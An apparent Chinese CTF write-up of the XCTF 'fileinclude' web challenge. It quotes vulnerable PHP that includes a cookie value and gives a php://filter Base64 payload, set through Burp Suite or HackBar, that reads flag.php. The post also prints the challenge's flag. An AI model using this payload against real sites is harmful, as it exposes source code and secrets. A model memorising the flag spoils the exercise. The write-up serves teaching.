问题描述:
攻防世界文件包含入门题目,参考大佬们的WP有所补充,内容对小白友好~
原因分析:
按照惯例,首先查看源代码ctrl+u:
整理一下大概是下面这个意思(代码0基础,可能有误,欢迎留言沟通与指正~)
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
//规定 HTML 文档的字符集
<br />
<b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
//页面显示内容,其中提示了language的设置与地址,flag所在地址。
<?php
if( !ini_get('display_errors') ) { //如果 环境变量未设置错误回显
ini_set('display_errors', 'On'); //则 开启错误信息回显
}
error_reporting(E_ALL); //报告所有类型的错误
$lan = $_COOKIE['language']; //将cookie中['language']的值赋予lan
if(!$lan) //如果变量 lan为0
{
@setcookie("language","english"); //向客户端发送cookie(名称为"language",值为"english")
@include("english.php"); //文件包含(调用文件"english.php")
}
else //若不满足上述条件
{
@include($lan.".php"); //文件包含(调用变量$lan,添加后缀".php")
}
$x=file_get_contents('index.php'); //将文件 index.php的内容读入变量 x中
echo $x; //输出 变量x的值
?>
</html></html>
所以题目的关键在于达成这第15行的条件:
$lan = $_COOKIE['language'];
在cookie中的内容language 会被传到变量$lan,继而在第23行@include($lan.".php");被调用与执行,因此cookie变量中很适合写入读取flag.php的payload~
解决方案:
工具:burpsuite 或 hackbar(浏览器插件)
参考:admin发表的官方WP zhan3614发表的WP fileinclude
1 Burp Suite抓包
首先用Burp Suite拦截网页的请求包,页面如下图所示:
emm,发现没有题目要求的变量cookie,这样就很难实现题目要求的条件了...
2 添加cookie
现在需要手动添加cookie,可以通过burpsuite或者hackbar添加~
1)Burp Suite,在页面的右下角Request Cookies可以找到添加变量的位置~
Name:language
Value:php://filter/read=convert.base64-encode/resource=/var/www/html/flag
Name的值为第15行代码要求的名称,Value的值可将flag(.php)内容以Base64编码的形式读取~
php://filter/read=执行文件读取功能~(官方介绍:PHP: php:// - Manual)
convert.base64-encode执行Base64编码功能~
/resource=/var/www/html/flag填写flag.php所在的地址,本题在源码的第5行有提示地址为language in <b>/var/www/html/index.php</b> on line ;且需要注意注意源码第23行的内容(@include($lan.".php"); ),在上传参数时代码会附带后缀.php,所以此处不需要写为 '/var/www/html/flag.php'~
或者可以直接复制这一行到请求包末尾(同样的语句,经过URL编码):
Cookie: language=php%3a%2f%2ffilter%2fread%3dconvert.base64-encode%2fresource%3d%2fvar%2fwww%2fhtml%2fflag
消息变成如下所示以后发送:
然后就得到了一个 编码为Base64的flag,如下图~
右键传到burpsuite自带的解码模块decoder中可以解码~
$flag=cyberpeace{9fbd1f023749c48900cf215fe902c204}
2)采用chrome的扩展工具hackbar 添加cookie的值;解题的思路与上面是一致的:F12调出开发者工具,操作步骤如下图就可以~
Name:cookie
Value:language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
页面上方回显以base64格式编码的flag,复制到网址栏,随后可用hackbar自带的解码模块encoding找到base64 encode选项进行解码~
flag=cyberpeace{9fbd1f023749c48900cf215fe902c204}
博文写得模糊或者有误之处,欢迎留言讨论与批评~文章来源:https://www.toymoban.com/news/detail-404730.html
码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)文章来源地址https://www.toymoban.com/news/detail-404730.html
到了这里,关于Web安全攻防世界01 fileinclude(宜兴网信办)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!